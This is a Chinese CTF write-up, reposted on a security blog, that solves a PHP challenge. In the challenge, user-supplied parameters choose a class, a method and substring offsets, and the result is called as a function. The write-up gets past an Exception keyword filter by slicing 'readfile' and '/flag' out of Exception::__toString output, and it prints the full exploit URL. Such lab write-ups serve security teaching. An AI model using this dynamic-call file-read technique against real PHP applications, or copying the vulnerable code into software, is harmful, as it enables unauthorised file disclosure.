PHP Exception CTF题目

admin 2022年11月22日12:56:12CTF专场评论9 views1049字阅读3分29秒阅读模式

PHP Exception CTF题目

扫一扫关注公众号,长期致力于安全研究PHP Exception CTF题目

前言:这是前段时间打的一场比赛



0x01 解题思路

首先代码如下,关键点就在于这几行。其实就是通过substr来截取字符串并在最后一行当做函数来调用

$class = new $a($b);

$str1 = substr($class->$c(),$d,$e);

$str2 = substr($class->$c(),$f,$g);

$str1($str2);


<?php
error_reporting(0);show_source(__FILE__);
Class Hello{
public $filename; public $contents;
public function __construct(){ $this->filename = "hint.php"; $this->contents = "you guess"; }
public function fileread(){ echo "keep going"; }}
$a = $_GET["a"];$b = $_GET["b"];$c = $_GET["c"];$d = $_GET["d"];$e = $_GET["e"];$f = $_GET["f"];$g = $_GET["g"];
if(preg_match("/Error|ArrayIterator|Exception/i", $c)) { die("hello");}
$class = new $a($b);$str1 = substr($class->$c(),$d,$e);$str2 = substr($class->$c(),$f,$g);$str1($str2);?>

那需要截取什么字符串呢?这里就使用Exception中的_toString方法来回显信息,因为在34行中有substr来切割字符串、

PHP Exception CTF题目


本地通过print打印出现了回显,而Exception: 则是起始位置,readfile是8个位置,所以

$str1 = substr($class->$c(),$d,$e);的d是11 e是8,这样就截取到了readfile这个字符串

所以现在的坐标是19

$str2 = substr($class->$c(),$f,$g);  f则为19,g是/flag的长度为5

现在$str1为readfile $str2为

http://xxxxx/?a=Exception&b=readfile/flag&c=__toString&d=11&e=8&f=19&g=5

这样flag就出来了

PHP Exception CTF题目

~.~

PHP Exception CTF题目






原文始发于微信公众号(HACK安全):PHP Exception CTF题目

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年11月22日12:56:12
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  PHP Exception CTF题目 https://cn-sec.com/archives/1422928.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: